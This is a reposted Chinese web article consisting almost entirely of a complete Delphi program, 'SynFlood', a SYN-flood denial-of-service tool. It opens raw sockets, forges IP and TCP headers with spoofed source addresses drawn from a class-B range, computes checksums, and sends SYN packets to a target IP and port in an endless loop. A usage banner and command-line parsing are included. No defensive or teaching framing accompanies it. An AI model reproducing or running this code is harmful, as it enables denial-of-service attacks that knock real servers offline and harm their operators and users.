Delphi寫的SYN攻擊代碼

fjwolf 2009-03-19

展開全文

Delphi寫的SYN攻擊代碼

2008-07-10 23:58

文章來源:Internet

program SynFlood;

{$APPTYPE CONSOLE}

uses
Windows,
Winsock;

//WinSock2;

const
   IP_HDRINCL        = 2; // IP Header Include
   Header_SEQ        = $19026695;
   SEQ               = $28376839;
   SYN_DEST_IP       = '172.17.103.127'; //被攻擊的IP
   FAKE_IP           = '10.168.150.1'; //偽裝IP的起始值，本程序的偽裝IP覆蓋一個B類網(wǎng)段

//TCP頭   20位
type
   TCP_HEADER    = record
   th_sport      : Word;   //16位源端口
   th_dport      : Word;   //16位目的端口
   th_seq        : DWORD; //32位序列號
   th_ack        : DWORD; //32位確認號
   th_lenres     : Byte;   //4位首部長度+6位保留字中的4位
   th_flag       : Byte;   //2位保留字+6位標志位 2是SYN，1是FIN，16是ACK探測
   th_win        : Word;   //16位窗口大小
   th_sum        : Word;   //16位校驗和
   th_urp        : Word;   //16位緊急數(shù)據(jù)偏移量
end;

// IP 頭     20位
type
   IP_HEADER       = record
   h_verlen        : Byte; //4位首部長度+4位IP版本號
   tos             : Byte; //8位服務類型TOS，定義了數(shù)據(jù)傳輸?shù)膬?yōu)先級、延遲、吞吐量和可靠性等特性
   total_len       : Word; //16位總長度（字節(jié)） IP包的長度，若沒有特殊選項，一般為20字節(jié)長
   ident           : Word; //16位IP包標識，主機使用它唯一確定每個發(fā)送的數(shù)據(jù)報
   frag_and_flags : Word; //Fragment Offset 13 IP數(shù)據(jù)分割偏移
   ttl             : Byte; //8位生存時間TTL，每通過一個路由器，該數(shù)值減一
   proto           : Byte;//8位協(xié)議號(TCP, UDP 或其他) 比如：ICMP為1，IGMP為2，TCP為6，UDP為17等
   checksum        : Word; //16位IP首部校驗和
   sourceIP        : LongWord; //32位源IP地址
   destIP          : LongWord; //32位目的IP地址
end;

//TCP偽頭    12位
type
   PSD_HEADER      = record
   saddr           : DWORD;   //源地址
   daddr           : DWORD;   //目的地址
   mbz             : Byte;    //置空
   ptcl            : Byte;    //協(xié)議類型
   tcpl            : WORD;    //TCP長度
end;

type
   CLIENTPARA = record
   Port:integer;
   IP:string;
end;

var
   clientpa :^CLIENTPARA;
   SendSEQ :Integer = 0;
   TimeOut :Integer =5000;

function WSASocketA(af, wType, protocol: integer;lpProtocolInfo: pointer;g,
dwFlags: dword): integer;stdcall;external 'ws2_32.dll';

function setsockopt( const s: TSocket; const level, optname: Integer; optval: PChar;
const optlen: Integer ): Integer; stdcall;external 'ws2_32.dll';

function IntToStr(I: integer): string;
begin
Str(I, Result);
end;

function StrToInt(S: string): integer;
begin
Val(S, Result, Result);
end;

function LowerCase(const S: string): string;
var
   Ch: Char;
   L: Integer;
   Source, Dest: PChar;
begin
   L := Length(S);
   SetLength(Result, L);
   Source := Pointer(S);
   Dest := Pointer(Result);
   while L <> 0 do
   begin
     Ch := Source^;
     if (Ch >= 'A') and (Ch <= 'Z') then Inc(Ch, 32);
     Dest^ := Ch;
     Inc(Source);
     Inc(Dest);
     Dec(L);
   end;
end;

{
CheckSum:計算校驗和的子函數(shù)
IP校驗和的計算方法是：首先將IP首部的校驗和字段設為0（IP_HEADER.checksum=0）,
然后計算整個IP首部（包括選項）的二進制反碼的和
TCP首部檢驗和與IP首部校驗和的計算方法相同，在程序中使用同一個函數(shù)來計算。
由于TCP首部中不包含源地址與目標地址等信息，為了保證TCP校驗的有效性，
在進行TCP校驗和的計算時，需要增加一個TCP偽首部的校驗和
}
function checksum(var Buffer; Size: integer): word;
type
   TWordArray = array[0..1] of word;
var
   lSumm: LongWord;
   iLoop: integer;
begin
   lSumm := 0;
   iLoop := 0;
   while Size > 1 do
   begin
     lSumm := lSumm + TWordArray(Buffer)[iLoop];
     inc(iLoop);
     Size := Size - SizeOf(word);
   end;
   if Size = 1 then lSumm := lSumm + Byte(TWordArray(Buffer)[iLoop]);
   lSumm := (lSumm shr 16) + (lSumm and $FFFF);
   lSumm := lSumm + (lSumm shr 16);
   Result := word(not lSumm);
end;

//syn洪水攻擊
function SynFloodThreadProc(p:Pointer):LongInt;stdcall;
var
   WSAData :TWSAData;
   sock :TSocket;
   Remote :TSockAddr;
   ipHeader :IP_HEADER;
   tcpHeader :TCP_HEADER;
   psdHeader :PSD_HEADER;
   ErrorCode,bOpt,counter,FakeIpNet,FakeIpHost,datasize :integer;
   Buf :array [0..127] of char;
   //FromIP :string;
begin
   Result :=0;
   //建立一個原始套接口
   if WSAStartup(MAKEWORD(2,2), WSAData)<>0 then exit;
   sock :=WSASocketA(AF_INET, SOCK_RAW, IPPROTO_RAW, nil, 0, {WSA_FLAG_OVERLAPPED}0);
   if sock = INVALID_SOCKET then exit;
   //設置ip選項
bOpt := 1;
   //設置IP_HDRINCL告訴系統(tǒng)自己填充IP首部并自己計算校驗和
   if setsockopt(sock,IPPROTO_IP, IP_HDRINCL,@bOpt, SizeOf(bOpt)) = SOCKET_ERROR then exit;

   //設置發(fā)送超時
   //ErrorCode :=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,pchar(TimeOut),sizeof(TimeOut));
   //if ErrorCode = SOCKET_ERROR then exit;

   Randomize;
   FillChar(Remote,sizeof(Remote),#0);
Remote.sin_family :=AF_INET;
   //Remote.sin_addr.s_addr:=inet_addr(SYN_DEST_IP);
   Remote.sin_addr.S_addr :=inet_addr(pchar(CLIENTPARA(p^).IP));
   Remote.sin_port :=htons(CLIENTPARA(p^).Port);
   FakeIpNet:=inet_addr(FAKE_IP);
   FakeIpHost:=ntohl(FakeIpNet);

//填充IP首部
ipHeader.h_verlen :=(4 shl 4) or (sizeof(ipHeader) div sizeof(LongWord)); //高四位IP版本號，低四位首部長度
ipHeader.total_len :=htons(sizeof(ipHeader)+sizeof(tcpHeader)); //16位總長度（字節(jié)）
   ipHeader.ident:=1;   //16位標識
   ipHeader.tos :=0;   //IP服務類型
ipHeader.frag_and_flags:=0;   //段偏移域
ipHeader.ttl:=128;   //8位生存時間TTL
ipHeader.proto:=IPPROTO_TCP; //8位協(xié)議(TCP,UDP…) UDP=17 $11
ipHeader.checksum:=0; //16位IP首部校驗和
   ipHeader.sourceIP:=htonl(FakeIpHost+SendSEQ); //32位源IP地址
   //ipHeader.destIP:=inet_addr(pchar(SYN_DEST_IP)); //32位目的IP地址
   ipHeader.destIP:=inet_addr(pchar(CLIENTPARA(p^).IP));

   //隨機產(chǎn)生源地址
   {FromIP:=IntToStr(Random(254)+1)+'.'+ IntToStr(Random(254)+1)+'.'+
                    IntToStr(Random(254)+1)+'.'+Inttostr(Random(254)+1);
   ipHeader.sourceIP:=inet_Addr(PChar(FromIP)); //32位源IP地址
   ipHeader.destIP:=Remote.sin_addr.S_addr;   //32位目的IP地址 }

//填充TCP首部
tcpHeader.th_sport:=htons(Random(65536)+1);   //隨機產(chǎn)生源端口
tcpHeader.th_dport:=Remote.sin_port;          //目的端口號
   //tcpHeader.th_sport:=htons(7000);               //源端口號
   //tcpHeader.th_dport:=htons(8080);               //目的端口號
   tcpHeader.th_seq:=htonl(SEQ+SendSEQ);          //SYN序列號
   tcpHeader.th_ack:=0;                          //ACK序列號置為0
tcpHeader.th_lenres:=(sizeof(tcpHeader) shr 2 shl 4) or 0;   //TCP長度和保留位
tcpHeader.th_flag:=2; //實現(xiàn)不同的標志位探測，2是SYN，1是FIN，16是ACK探測
tcpHeader.th_win:=htons(16384);   //窗口大小
tcpHeader.th_urp:=0;   //緊急偏移量
tcpHeader.th_sum:=0;   //校驗和

//填充TCP偽首部（用于計算校驗和，并不真正發(fā)送）
psdHeader.saddr:=ipHeader.sourceIP; //源地址
psdHeader.daddr:=ipHeader.destIP; //目的地址
psdHeader.mbz:=0;
psdHeader.ptcl:=IPPROTO_TCP; //協(xié)議類型
psdHeader.tcpl:=htons(sizeof(tcpHeader)); //TCP首部長度

   while true do
   begin
     //每發(fā)送10,240個報文輸出一個標示符
     //writeln('.');
     for counter:=0 to 10239 do
     begin
       inc(SendSEQ);
       if (SendSEQ=65536) then SendSEQ :=1; //序列號循環(huán)
       //更改IP首部
       ipHeader.checksum :=0; //16位IP首部校驗和
       ipHeader.sourceIP :=htonl(FakeIpHost+SendSEQ); //32位源IP地址
       //更改TCP首部
       tcpHeader.th_seq :=htonl(SEQ+SendSEQ); //SYN序列號
       tcpHeader.th_sum :=0; //校驗和
       //更改TCP偽首部
       psdHeader.saddr :=ipHeader.sourceIP;

       //計算TCP校驗和，計算校驗和時需要包括TCP偽首部
       FillChar(Buf,SizeOf(Buf),#0);
       //將兩個字段復制到同一個緩沖區(qū)Buf中并計算TCP頭校驗和
       CopyMemory(@Buf[0],@psdHeader,SizeOf(psdHeader));    //12
       CopyMemory(@Buf[SizeOf(psdHeader)],@tcpHeader,SizeOf(tcpHeader));   //20
       TCPHeader.th_sum:=checksum(Buf,SizeOf(psdHeader)+SizeOf(tcpHeader));   //32

       //計算IP頭校驗和
       CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader));    //20
       CopyMemory(@Buf[SizeOf(ipHeader)],@tcpHeader,SizeOf(tcpHeader)); //20
       FillChar(Buf[SizeOf(ipHeader)+SizeOf(tcpHeader)],4,#0);
       datasize :=SizeOf(ipHeader)+SizeOf(tcpHeader);
       ipHeader.checksum:=checksum(Buf,datasize);   //40

//填充發(fā)送緩沖區(qū)
CopyMemory(@Buf[0],@ipHeader,SizeOf(ipHeader)); //20

       //發(fā)送TCP報文
       ErrorCode:=sendto(sock, buf, datasize, 0, Remote, sizeof(Remote));
       if ErrorCode=SOCKET_ERROR then exit;
       write('.');

     end;    //end for
     writeln('');
   end; //end while

closesocket(sock);
WSACleanup();
end;

procedure Usage;
begin
   WriteLn('SynFlood 0.1 for 2000/XP/2003');
   WriteLn('http://www.');
   WriteLn('hnxyy@hotmail.com');
   WriteLn('QQ:19026695');
   WriteLn;
   WriteLn('Usage: SynFlood -h:IP -p:port');
end;

procedure ParseOption(Cmd, Arg: string);
begin
   if arg='' then
   begin
     Usage;
     Halt(0);
   end;
   if lstrcmp('-h:', pchar(LowerCase(Cmd))) = 0 then
   begin
     clientpa^.IP :=arg;
   end
   else if lstrcmp('-p:', pchar(LowerCase(Cmd))) = 0 then
   begin
     clientpa^.Port :=StrToInt(Arg);
   end
   else
   begin
     Usage;
     Halt(0);
   end;
end;

procedure ProcessCommandLine;
var
   CmdLn: integer;
begin
   CmdLn := 1;
   if (ParamCount<2) or (ParamCount>2) then
   begin
     Usage;
     Halt(0);
   end;
   new(clientpa);
   while Length(ParamStr(CmdLn)) <> 0 do
   begin
     ParseOption(Copy(ParamStr(CmdLn), 1, 3), Copy(ParamStr(CmdLn), 4, Length(ParamStr(CmdLn)) - 2));
     Inc(CmdLn);
   end;
end;

var
   ThreadID:DWord;
begin
   ProcessCommandLine;
   CreateThread(nil, 0, @SynFloodThreadProc, clientpa, 0, ThreadID);
   while True do Sleep(1);
end.